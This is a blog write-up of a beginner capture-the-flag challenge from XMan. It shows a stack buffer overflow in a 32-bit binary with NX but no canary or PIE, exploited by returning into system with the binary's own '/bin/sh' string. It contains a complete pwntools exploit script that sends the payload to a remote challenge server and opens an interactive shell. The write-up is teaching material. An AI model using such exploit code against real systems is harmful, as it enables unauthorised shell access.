yingjie@memoir
Skip to content

Challenge

Source: XMan

Description: A beginner asks an expert how to get the flag. The expert tells them, 'Use Return-Oriented Programming (ROP).'

Analysis

ROP.

Solution

checksec

    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

NX

CTF Wiki

With the introduction of NX protection, the traditional approach of directly injecting code onto the stack or heap becomes ineffective. Attackers have also developed corresponding methods to bypass this protection, the main one being ROP (Return-Oriented Programming). Its core idea is to use small code snippets (gadgets) already present in the program, based on a stack buffer overflow, to change the values of certain registers or variables, thereby controlling the program's execution flow. So-called gadgets are instruction sequences ending with ret. Through these instruction sequences, we can modify the content of certain addresses to facilitate control over the program's execution flow.

main

c
int __cdecl main(int argc, const char **argv, const char **envp)
{
  vulnerable_function();
  system("echo 'Hello World!'");
  return 0;
}

vulnerable_function

c
ssize_t vulnerable_function()
{
  char buf[136]; // [esp+0h] [ebp-88h] BYREF

  system("echo Input:");
  return read(0, buf, 256u);
}
-00000088 buf             db 136 dup(?)
+00000000  s              db 4 dup(?)
+00000004  r              db 4 dup(?)

The character array buf has a capacity of 136, but the read function allows writing up to 256 bytes, so there is a stack overflow.

Since this occurs at the return point, we use ROP (Return-Oriented Programming) to construct the payload.

strings

In IDA's strings window, we found the string /bin/sh.

LOAD:08048154	00000013	C	/lib/ld-linux.so.2
LOAD:0804822D	0000000A	C	libc.so.6
LOAD:08048237	0000000F	C	_IO_stdin_used
LOAD:0804824B	00000007	C	system
LOAD:08048252	00000012	C	__libc_start_main
LOAD:08048264	0000000F	C	__gmon_start__
LOAD:08048273	0000000A	C	GLIBC_2.0
.rodata:08048540	0000000C	C	echo Input:
.rodata:0804854C	00000014	C	echo 'Hello World!'
.eh_frame:080485CB	00000005	C	;*2$\"
.data:0804A024	00000008	C	/bin/sh

system

The program contains the system function. Using this function combined with the string found above, we construct the command system('/bin/sh').

c
int system(const char *command)
{
  return system(command);
}
+00000000  r              db 4 dup(?)
+00000004 command         dd ?                    ; offset

Exploit

Payload

python
payload = b'@'*140 + pack(system_addr) + b'@'*4 + pack(shell_addr)
  1. Use 136 bytes and 4 bytes of data to overwrite the buf and s of the vulnerable_function.
  2. Write the address of system into the r of vulnerable_function.
  3. Use 4 bytes of data to overwrite the r of system.
  4. Write the address of the string "/bin/sh" into the command of system.
python
from pwn import *


def exploit():
    elf = ELF('./a')

    system_addr = elf.symbols['system']
    shell_addr = next(elf.search(b'/bin/sh'))
    payload = b'@'*140 + pack(system_addr) + b'@'*4 + pack(shell_addr)

    r = remote('111.200.241.244',  63854)
    r.sendlineafter('Input:', payload)
    r.interactive()
    r.close()


def main():
    exploit()


if __name__ == '__main__':
    main()

Summary

This challenge practices writing basic ROP.